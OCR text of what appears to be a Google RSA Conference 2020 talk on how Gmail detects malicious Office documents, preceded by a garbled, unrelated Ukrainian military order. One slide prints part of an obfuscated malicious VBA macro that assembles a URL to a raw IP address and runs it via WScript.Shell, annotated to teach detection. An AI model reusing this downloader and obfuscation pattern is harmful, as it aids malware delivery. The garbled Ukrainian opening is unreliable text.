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Ha BUKOHAHRA BHMOT Ha¥aThHIKa [ eHepaTsHOTO mTaby — I'010BHOKOMAHTYBaYA
36poitsix Cru1 Ypainm Bix 28.09.2019 Ne 304/3/4075TTa 3 MeTOM HATe&HO! OpraHisats
BHKOHAHHA BHMOT Hakasy I'eHepatbHOro mrady 30pofnux Cun Vkpainm Bix 04.01.2017 . . .
INe 4 “TIpo 3aTBep1AeHHL IHCTPYKIIil 3 OPraHi3amii iHpOPMALIfiHO-PONArAKARCTCHKOQ
sabesnevennd y 36poftnix CitaX YKpaiHu” B HaCTHH, WO CTOCYETBCS 0COBIMBOCTEH]

[} BHKOPHCTaHHA 3ac00iB HAOYHOI ariTaii BH M AT 2 10: . . .
KoMaHARpaM BificbKOBIX JacTHH
1.V Tepuin 30 25.11.2019 opramisysati poSoTy MO0 YTOWHeHHS 3aBAAHD i3
B0CKOHATIe HHA HAOUHO! ATiTALL] Ha TEPHTOPii MiANOPAIKOBAHIX BiflcHKOBIX YACTHH, & o . o

3abe3nedHTH BHBYEHHS 0CODOBHM CKIATOM CTPYKTYP MOPATBHO- NICHXOI0TYHOTO,

pabe3neveHns BHMOr IHCTPYKUii 3 opramisamii iHpopMamiiiHO- MPONAraHAHCTCHKOTO
pabesnevenns y 36pofnx Ciiax YKpaiHm, 3aTBepIKeHol ‘HaKa3OM I’-‘nepuwuro mrady . . .
BopoitHix Cua Vkpainn Bix 04.01.2017 4
(nn. 6.2 - 6.4) 1a [NonoxkeHHs Npo KiMHATY Tpaauuift y 36pofiuux Lma\ Vpainn,

BaTsep uKeHe HakasoM I eHepaTbHOrO MTaby 36pofirix Ci Y kpaiiu 5i105.09.2018 Ne
299 3 MHTaHb WO CTOCYIOTHCA 0hOPMIEHHT HAOUHO! AriTallil y BiflcHKOBHX JaCTHHAX

° ° ° ° OpraHi3yBaTH AeMOHTa BiANOBIAHO 10 BHMOT KepiBHHX I0KYMEHTIB 3aCTapiTuX
ra I n I a n e n I Ie S (e AKTYATHMI) KOHCTPYKII HAOWHOY ATITALS (CTEAM, CTEHAN, TaC7a) Ha TepIHTOL
BifiCHKOBHX HaCTHH
2. IMia wac opramisauii Ta jabesneveHHs BHKOHAHHA 3aXOiB 3 odopms ° ° °
HA0UHO! ariTamii HA TepHTOpil BIfCHKOBHX YACTHH KOPHCTYBATHCS \lem,]ulmmm

PeKOMEHIALIAMH, IO I0AAIOTHCS.
3. Tlpo nposeieHi 3aX0AH AOMOBICTH MHCKMOBO Y TepMiH 10 25.12.2019 . . .
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Malicious Documents represent a significant
part of malware targeting our users
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Every week Gmail scan over
300B+ attachments for malware
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Each second we need to process millions of
documents in a matter of milliseconds

RSAConference?020



How Gmail malware detection works
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How Gmail malware detection works
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How Gmail malware detection works
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How Gmail malware detection works
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How about users and
organization at risk of
targeted attack?
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* Security Sandboxes are
used to supplement
detection when need.
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Who is targeted
by malicious documents?

Deconstructing malicious
documents campaigns

Insights into Gmail
next-gen detection
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Who is targeted
by malicious ) \ .
documents? A
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Education Company Non for Government
profit

Every type of organization is at risk of
being targeted by malicious documents
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Education = [ 1x
compary 1 | -
Non for profit

Some organizations are more targeted by
malicious documents than others
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Education = 1X
Finance & Insurance  $ 3X
Health Care £3 4X
T = N sx

Wholesale Trade =& _ 5X
Retail & [ 5X
Real Estate  # _ 7X
Manufacturing 0 _ 10X
viiities € I X
Transportation () I 16X

Some industries are more targeted by
malicious documents than others
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Indonesia @& 1X
Russia @ 1X
Germany a 3X
india g, 3X
Japan . 5X
France ‘ ' 14X
usa &= 15X
Finland  fem [N 27
GreatBritain = [N 5x
Norway 4= [N sox

Prevalence of malicious documents varies
drastically from country to country
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Deconstructing
malicious documents

campaigns ’ N\
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Cats through the ages
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63%

of the malicious docs
blocked by Gmail are
different from day to day
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Volume of malicious document per day normalized
3x

2X

1x

The volume of malicious document greatly varies
from day to day: 3x variation is the normal
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Botnets are the culprits behind some of the massive
bursts of malicious emails we observe. Necurs alone was
sending 100M locky samples per day in 2016

Google RSAConference2020



The malicious
document threat
landscape is very
fast-paced and
extremely adversarial
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Filename:
MD5:
Scan date:
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E Ad-Aware Antivirus

|£ AhnLab V3 Internet Security
Clear

Alyac Internet Security
Clear
* Avast Internet Security
B2 AVG AntiVirus
@ Avira Antivirus

cl
Webroot SecureAnywhere

B BitDefender Total Security
BullGuard Antivirus
& Comav
Clean
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I

U Emsisoft Anti-Malware
Clean

@ Comodo Antivirus
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-+ IKARUS anti.virus
#= F-Secure Anti-Virus
\ 4 Clea
@A Malwarebytes Anti-Malware
@) Panda Antivirus
Clean

N7 Kaspersky Internet Security
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# ) Trend Micro Internet Security
;= Windows Defender
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m Zone Alarm Antivirus
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pDF EXPLOIT

@ e

Payload Exe.

O Office 2007
O Office 2010
O Office 2013
O Office 2016

Edwin Silent Excel / DOC Exploit Builder V2

Settings Lisence Admin Contact

[ &7F protect
D CVE Shell Code Obfuscate
|:] Bypass E-Mail
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ild Excel (.xls) Exploit

Kits offering weaponized document exploits packed with AV evasion techniques

are routinely available on the blackmarket as SaaS for $400-$5000
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https://news.sophos.com/en-us/2019/02/14/old-phantom-crypter-upends-malicious-document-tools/?cmp=30728

What techniques do
those kits use?
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BSEEEE- 'z 7pVrQQVHAVZWE ZNCEVIrDXMHhCGFYVXXIEENUDCLMgpbjXqY+F
hcjFYVXXIEENUCjFYVXXIEEnup://104.144.207.201/cjFYVXXIEEnuron/WEZNCEVrDXMHCjFYVXXIEEnuiELOZgbR
Qz3jYzTpVrQQVHAVZ . php?ucjFYVXXTEENUzTpVrQQvHAVZDCLMgpbjXqYF=DCLMgpbjXqYFfrniELOZgbRQzIY"
= Replace(boazuda, "zTpVrQQvHdvz", "m") O O O
_: Replace(boazuda, "DCLMgpbjXqYf",
kkGwK = "X" & “"p" & "o"

o . .
PSS Replace(boazuda, "WEZNCEVIDXMH",
AUOKYpAOXXWC = "u" & "x" & Trim("G")
LrdizVvw = 1418 + 1239 + 1546 + 521 + 1029 ® ° °
iBEFgGzg = 1766 + 1267 + 544 + 1840
Replace(boazuda, "cjFYVXXIEEnu ) . . .
= Replace(boazuda, "iELOZgbRQzjY", "e")
cYqOLzNGgSzN = 110 + 662 + 271 + 430 + 1818
IzdiuFFLcOWX = 1234 - 1771 - 1644 - 1187 © © ©
Replace(boazuda, "dfnAfNznHxFV", "1")
yCdrQfLG = "Z" & "y" & Trim("R") & "d" . . .
loquaz = "WScripUEAOXJSPZOCg.ShwBfuroncKuUbkjJlbOBuEpdFEkjIbOBUEpdFE"
loquaz = Replace(loquaz, "DgDdPEVXFMkH", "m") ¢ ¢ *
OFNCRKgKF = 1006 + 15 + 215
loquaz = Replace(loquaz, "rTRMGUvpLYHv", "a") o o o
. . TOXTXxovMuOp = 734 + 33 + 1188 + 563 + 716
Function name obfuscation loquaz = Replace(loquaz, "AdogkZxrLcFX",
WScript.shell loquaz = Replace(loquaz, "UEAOXJSPZOCg", ° ° °
QFMdIPpUYY = 459 - 943 - 977
AUvVwcPXcwXb = "E" & "Q" . . .
loquaz = Replace(loquaz, "wBfuroncKuUb", "e")
igEyuLuf = "D" & "A" & Trim("0")
loquaz = Replace(loquaz, "kjIbOBuEpdFE", "1") ° ° °
URXRWUfRpSX = Trim("G") & "k" & Trim("G") & Trim("I")
. . B
Hash busting JXkIrzM - 128 - 1507 - 70
Vars never referenced - Trin("k") & "o" & . . .
COde exeCUtion I CreateObject(loquaz).Run boazuda, @ . . .
FACDNUSZHUWp = 1892 - 994 - 435 - 958 - 491 - 1652 - 1245
Hash busting NBREVE00iDp0 |- 1069 + 1656 + 957 + 714 ° ° °
CDDQFoi = 512 + 1320
Vars never referenced ZCWCBZPYSPIll- 1011 - 1218 - 830 - 1495 - 300 - 1268 - 860 c 5 c
. . .
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Attackers try to evade

deteCtion by adding Fori;use*ZTo use*2+?,

. g = q + plumb(Cells(i, use * 2)): m=m +
malware in XLS cell oGl 0 21050752
Content, Shell g + cop(use, use) + m, ..
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Takeaways

%

The malicious document
landscape is fast-paced
and adversarial

63% of malware are
different from day to day

Google

The black market is
fueling the attacks
Obfuscator and
weaponized exploits
are readily available

X

Evasion techniques have
drastically improved in the
last years
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Insights into Gmail
next-gen malicious
document detection
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Use Al to improve detection
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Al? Really?
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Google

Enhance existing detection
capabilities with Al interpolation
& advanced document analyzers
to improve detection coverage
and increase resilience to
adversarial attacks
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Gmail detection landscape:

APT / Oday

Advanced
obfuscation
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malware
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Detection TCO
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Gmail detection landscape

APT / Oday

Advanced
obfuscation

Bulk
malware

Google

: tomorrow
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Traditional AVs g%
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Detection TCO
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How does it
work in practice?
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Anatomy of a document scanner

Document el
extractors
analyzer

Machine Learning

Macro/script

Macro AST ’ Supervised
Parsers

Analyzer Lchzelios Execution

Feedback loop for dynamic code (eval)
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How our Al scanner integrate with Gmail malware detection
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Does it really work?
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Daily additional detection for Office documents
with malicious script in percentage

Jan Jan Jan Jan Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb Feb

M Alonly [ Both [ Other scanners only

200%

150%

100%

50%

R

0%

Al scanner increases Office documents with malicious documents detection by
~10% consistently and 150+% at peak
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% % ........
.doc xXls ... ...

10.5% 14.5%

Improvement varies by filetype
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How do you build ) € »

ground truth?
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No silver bullet: use a multi prong approach

= Hindsights samples Re-scan documents at a later stage to give a chance to
@ re-evaluation various scanners to have their false positives fixed
o Additional sandbox Scan suspicious and a large subset of documents with
C] scans sandboxes for additional verdicts
. Leverage deep-clustering to quickly identify the samples
\"& Cluster analysis that need to be reviewed to find potential FP / FN

Google RSAConference2020



Deep-clustering to scale model improvements
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Takeaways

%

Malicious documents
is a key threat to
businesses and end
users

Google

N

Adversary continuously
shift their TTP and
tweak their payload to
avoid detection

=

Robust malicious
documents detection
requires a defense in
depth strategy that
combine detection
approaches
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Robust malicious
documents detection
requires combining
technologies and
constant R&D
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Thank you
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